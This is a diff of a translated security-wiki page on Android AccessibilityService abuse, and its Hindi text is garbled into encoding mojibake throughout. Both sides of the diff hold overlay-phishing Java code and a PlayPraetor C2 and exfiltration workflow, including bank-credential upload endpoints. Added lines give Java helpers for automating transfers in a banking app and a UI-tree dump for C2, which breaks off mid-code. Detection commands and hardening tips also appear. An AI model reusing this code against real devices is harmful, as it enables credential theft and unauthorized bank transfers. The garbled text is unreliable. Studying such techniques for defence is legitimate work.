+* рд╕реНрдХреНрд░реАрди рдЕрдирд▓реЙрдХ рдХрд░рдирд╛, рдмреИрдВрдХрд┐рдВрдЧ рдРрдк рдЦреЛрд▓рдирд╛, рдЗрд╕рдХреЗ UI tree рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдирд╛ рдФрд░ рдПрдХ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░рдирд╛ред
+* рдЙрднрд░рдиреЗ рд╡рд╛рд▓реА рд╣рд░ permission dialog рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ред
+* Play Store intent рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд APKs рдЗрдВрд╕реНрдЯреЙрд▓/рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ред
---
## рджреБрд░реБрдкрдпреЛрдЧ рдкреИрдЯрд░реНрди
-### 1. рдУрд╡рд░рд▓реЗ рдлрд╝рд┐рд╢рд┐рдВрдЧ (рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣рд╛рд░реНрд╡реЗрд╕реНрдЯрд┐рдВрдЧ)
-рдПрдХ рдкрд╛рд░рджрд░реНрд╢реА рдпрд╛ рдЕрдкрд╛рд░рджрд░реНрд╢реА `WebView` рдХреЛ рд╡рд┐рдВрдбреЛ рдкреНрд░рдмрдВрдзрдХ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ:
+### 1. Overlay Phishing (Credential Harvesting)
+рдПрдХ рдкрд╛рд░рджрд░реНрд╢реА рдпрд╛ рдЕрдкрд╛рд░рджрд░реНрд╢реА `WebView` рд╡рд┐рдВрдбреЛ рдореИрдиреЗрдЬрд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
@@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
-The victim types credentials into the fake form while the background app receives the same gestures тАУ рдХреЛрдИ рд╕рдВрджрд┐рдЧреНрдз "рдЕрдиреНрдп рдРрдкреНрд╕ рдкрд░ рдбреНрд░реЙ рдХрд░реЗрдВ" рдкреНрд░реЙрдореНрдкреНрдЯ рдХрднреА рдирд╣реАрдВ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
+The victim fake рдлреЙрд░реНрдо рдореЗрдВ credentials рдЯрд╛рдЗрдк рдХрд░рддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб app рд╡рд╣реА gestures рд░рд┐рд╕реАрд╡ рдХрд░ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИ тАФ рдХреЛрдИ рд╕рдВрджрд┐рдЧреНрдз "draw over other apps" prompt рдХрднреА рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ред
-> рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдг: *Accessibility Overlay Phishing* рдЕрдиреБрднрд╛рдЧ Tapjacking рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ред
+> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
-### 2. рдСрди-рдбрд┐рд╡рд╛рдЗрд╕ рдзреЛрдЦрд╛рдзрдбрд╝реА рд╕реНрд╡рдЪрд╛рд▓рди
-**PlayPraetor** рдЬреИрд╕реЗ рдореИрд▓рд╡реЗрдпрд░ рдкрд░рд┐рд╡рд╛рд░ рдПрдХ рд╕реНрдерд╛рдпреА WebSocket рдЪреИрдирд▓ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдСрдкрд░реЗрдЯрд░ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рдЖрджреЗрд╢ рдЬрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ (`init`, `update`, `alert_arr`, `report_list`, тАж)ред рдпрд╣ рд╕реЗрд╡рд╛ рдЙрди рдЖрджреЗрд╢реЛрдВ рдХреЛ рдКрдкрд░ рджрд┐рдП рдЧрдП рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЗрд╢рд╛рд░реЛрдВ рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ рдЕрдирдзрд┐рдХреГрдд рд▓реЗрдирджреЗрди рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рд╡рд┐рд╢реЗрд╖ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдЬреБрдбрд╝реЗ рдорд▓реНрдЯреА-рдлреИрдХреНрдЯрд░-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджреЗрддреЗ рд╣реИрдВред
+### 2. On-Device Fraud automation
+Malware families such as **PlayPraetor** рдПрдХ persistent WebSocket рдЪреИрдирд▓ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ operator high-level commands (`init`, `update`, `alert_arr`, `report_list`, тАж) рдЬрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕рд░реНрд╡рд┐рд╕ рдЙрди commands рдХреЛ рдКрдкрд░ рдмрддрд╛рдП low-level gestures рдореЗрдВ рдЯреНрд░рд╛рдВрд╕рд▓реЗрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ real-time unauthorized transactions рд╕рдВрднрд╡ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдЬреБрдбрд╝реА multi-factor-authentication рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ bypass рдХрд░ рд▓реЗрддреЗ рд╣реИрдВред
-### 3. рд╕реНрдХреНрд░реАрди рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдФрд░ рдирд┐рдЧрд░рд╛рдиреА
-**MediaProjection API** рдХреЛ RTMP рдХреНрд▓рд╛рдЗрдВрдЯ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░, RAT рд▓рд╛рдЗрд╡ рдлреНрд░реЗрдордмрдлрд░ рдХреЛ `rtmp://:1935/live/` рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддрд┐рдХреВрд▓ рдкрдХреНрд╖ рдХреЛ рдкреВрд░реНрдг рд╕реНрдерд┐рддрд┐ рдЬрд╛рдЧрд░реВрдХрддрд╛ рдорд┐рд▓рддреА рд╣реИ рдЬрдмрдХрд┐ Accessibility рдЗрдВрдЬрди UI рдХреЛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред
+### 3. Screen streaming & monitoring
+By combining the **MediaProjection API** with an RTMP client library, the RAT live framebuffer рдХреЛ `rtmp://:1935/live/` рдкрд░ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ adversary рдХреЛ perfect situational awareness рдорд┐рд▓рддреА рд╣реИ рдЬрдмрдХрд┐ Accessibility engine UI рдбреНрд░рд╛рдЗрд╡ рдХрд░рддреА рд╣реИред
---
-## PlayPraetor тАУ рдХрдорд╛рдВрдб рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣
+## PlayPraetor тАУ command & control workflow
-1. **HTTP(S) рд╣рд╛рд░реНрдЯрдмреАрдЯ** тАУ рдПрдХ рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб рд╕реВрдЪреА рдкрд░ рджреЛрд╣рд░рд╛рдПрдВ рдЬрдм рддрдХ рдПрдХ рдбреЛрдореЗрди `POST /app/searchPackageName` рдХреЗ рд╕рд╛рде рд╕рдХреНрд░рд┐рдп C2 рдХрд╛ рдЙрддреНрддрд░ рдирд╣реАрдВ рджреЗрддрд╛ред
-2. **WebSocket (рдкреЛрд░реНрдЯ 8282)** тАУ рджреНрд╡рд┐рджрд┐рд╢рд╛рддреНрдордХ JSON рдЖрджреЗрд╢:
+1. **HTTP(S) heartbeat** тАУ hard-coded list рдкрд░ iterate рдХрд░реЗрдВ рдЬрдм рддрдХ рдХреЛрдИ domain `POST /app/searchPackageName` рдХреЗ рд╕рд╛рде active C2 рдмрддрд╛рдХрд░ рдЬрд╡рд╛рдм рди рджреЗред
+2. **WebSocket (port 8282)** тАУ рджреНрд╡рд┐-рдорд╛рд░реНрдЧреА JSON commands:
* `update` тАУ рдирдП conf/APKs рдкреБрд╢ рдХрд░реЗрдВ
-* `alert_arr` тАУ рдУрд╡рд░рд▓реЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ
-* `report_list` тАУ рд▓рдХреНрд╖рд┐рдд рдкреИрдХреЗрдЬ рдирд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдВ
-* `heartbeat_web` тАУ рдЬреАрд╡рд┐рдд рд░рдЦреЗрдВ
-3. **RTMP (рдкреЛрд░реНрдЯ 1935)** тАУ рд▓рд╛рдЗрд╡ рд╕реНрдХреНрд░реАрди/рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧред
-4. **REST рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди** тАУ
-* `/app/saveDevice` (рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ)
+* `alert_arr` тАУ overlay templates рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ
+* `report_list` тАУ targeted package names рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдВ
+* `heartbeat_web` тАУ keep-alive
+3. **RTMP (port 1935)** тАУ рд▓рд╛рдЗрд╡ рд╕реНрдХреНрд░реАрди/рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧред
+4. **REST exfiltration** тАУ
+* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd` (рдмреИрдВрдХ рдХреНрд░реЗрдбреНрд╕)
+* `/app/saveCardPwd` (bank creds)
-**AccessibilityService** рд╡рд╣ рд╕реНрдерд╛рдиреАрдп рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЙрдб рдЖрджреЗрд╢реЛрдВ рдХреЛ рднреМрддрд┐рдХ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИред
+The **AccessibilityService** рд╡рд╣ рд▓реЛрдХрд▓ рдЗрдВрдЬрди рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЙрдб commands рдХреЛ physical interactions рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИред
---
-## рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛
+## Detecting malicious accessibility services
* `adb shell settings get secure enabled_accessibility_services`
-* рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА тЖТ *рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рд╕реЗрд╡рд╛рдПрдВ* тАУ рдЙрди рдРрдкреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ **Google Play** рд╕реЗ **рдирд╣реАрдВ** рд╣реИрдВред
-* MDM / EMM рд╕рдорд╛рдзрд╛рди `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд╛рдЗрдбрд▓реЛрдбреЗрдб рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
-* рдЪрд▓ рд░рд╣реА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ:
+* Settings тЖТ Accessibility тЖТ *Downloaded services* тАУ рдЙрди apps рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ Google Play рд╕реЗ **рдирд╣реАрдВ** рд╣реИрдВред
+* MDM / EMM solutions `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ sideloaded services рдмреНрд▓реЙрдХ рд╣реЛ рд╕рдХреЗрдВред
+* рдЪрд▓ рд░рд╣реА рд╕рд░реНрд╡рд┐рд╕реЗрдЬрд╝ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
-## рдРрдк рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ
+## Hardening recommendations for app developers
-* рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рджреГрд╢реНрдп рдХреЛ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) рдХреЗ рд╕рд╛рде рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВред
-* рдЯреИрдк/рдУрд╡рд░рд▓реЗ рд╣рд╛рдИрдЬреИрдХрд┐рдВрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП `setFilterTouchesWhenObscured(true)` рдХреЛ `FLAG_SECURE` рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдВред
-* `WindowManager.getDefaultDisplay().getFlags()` рдпрд╛ `ViewRootImpl` API рджреНрд╡рд╛рд░рд╛ рдУрд╡рд░рд▓реЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВред
-* рдЬрдм `Settings.canDrawOverlays()` **рдпрд╛** рдПрдХ рдЧреИрд░-рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп Accessibility рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реЛ, рддреЛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░реЗрдВред
+* рд╕рдВрд╡реЗрджрдирд╢реАрд▓ views рдХреЛ `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) рдХреЗ рд╕рд╛рде рдорд╛рд░реНрдХ рдХрд░реЗрдВред
+* `setFilterTouchesWhenObscured(true)` рдХреЛ `FLAG_SECURE` рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдБ рддрд╛рдХрд┐ tap/overlay hijacking рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред
+* рдУрд╡рд░рд▓реЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `WindowManager.getDefaultDisplay().getFlags()` рдпрд╛ `ViewRootImpl` API рдХреЛ рдкреЛрд▓ рдХрд░реЗрдВред
+* рддрдм рдСрдкрд░реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░реЗрдВ рдЬрдм `Settings.canDrawOverlays()` **рдпрд╛** рдХреЛрдИ рдЧреИрд░-рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп Accessibility service рд╕рдХреНрд░рд┐рдп рд╣реЛред
---
-## рд╕рдВрджрд░реНрдн
+## ATS automation cheat-sheet (Accessibility-driven)
+Malware рдХреЗрд╡рд▓ Accessibility APIs рдХреЗ рд╕рд╛рде рдПрдХ bank app рдХреЛ рдкреВрд░реА рддрд░рд╣ рдСрдЯреЛрдореЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред Generic primitives:
+```java
+// Helpers inside your AccessibilityService
+private List byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+рдЙрджрд╛рд╣рд░рдг рдкреНрд░рд╡рд╛рд╣ (Czech тЖТ English рд▓реЗрдмрд▓):
+- "Nov├б platba" (рдирдпрд╛ рднреБрдЧрддрд╛рди) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ
+- "Zadat platbu" (рднреБрдЧрддрд╛рди рджрд░реНрдЬ рдХрд░реЗрдВ) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ
+- "Nov├╜ p┼Щ├нjemce" (рдирдпрд╛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ
+- "Dom├бc├н ─Н├нslo ├║─Нtu" (рдШрд░реЗрд▓реВ рдЦрд╛рддрд╛ рд╕рдВрдЦреНрдпрд╛) тЖТ рдлрд╝реЛрдХрд╕ рдХрд░реЗрдВ рдФрд░ `ACTION_SET_TEXT`
+- "Dal┼б├н" (рдЕрдЧрд▓рд╛) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ тЖТ тАж "Zaplatit" (рднреБрдЧрддрд╛рди) тЖТ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ тЖТ PIN рджрд░реНрдЬ рдХрд░реЗрдВ
+
+Fallback: рдХрд╕реНрдЯрдо widgets рдХреЗ рдХрд╛рд░рдг text lookup рд╡рд┐рдлрд▓ рд╣реЛрдиреЗ рдкрд░ hard-coded coordinates рдХреЗ рд╕рд╛рде `dispatchGesture` рдХрд╛ рдЙрдкрдпреЛрдЧред
+
+рджрд┐рдЦрд╛ рдЧрдпрд╛: рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╕реЗ рдкрд╣рд▓реЗ limits UI рдкрд░ рдЬрд╛рдХрд░ рджреИрдирд┐рдХ рд▓рд┐рдорд┐рдЯ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП `check_limit` рдФрд░ `limit` рдХреЗ рдкреНрд░реА-рд╕реНрдЯреЗрдкреНрд╕ред
+
+## Text-based pseudo-screen streaming
+рдХрдо-рд▓реЗрдЯреЗрдВрд╕реА рд░рд┐рдореЛрдЯ рдХрдВрдЯреНрд░реЛрд▓ рдХреЗ рд▓рд┐рдП, рдкреВрд░реНрдг рд╡реАрдбрд┐рдпреЛ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдХреА рдмрдЬрд╛рдп, рд╡рд░реНрддрдорд╛рди UI tree рдХрд╛ рдЯреЗрдХреНрд╕реНрдЯреБрдЕрд▓ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдбрдВрдк рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдмрд╛рд░-рдмрд╛рд░ C2 рдкрд░ рднреЗрдЬреЗрдВред
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i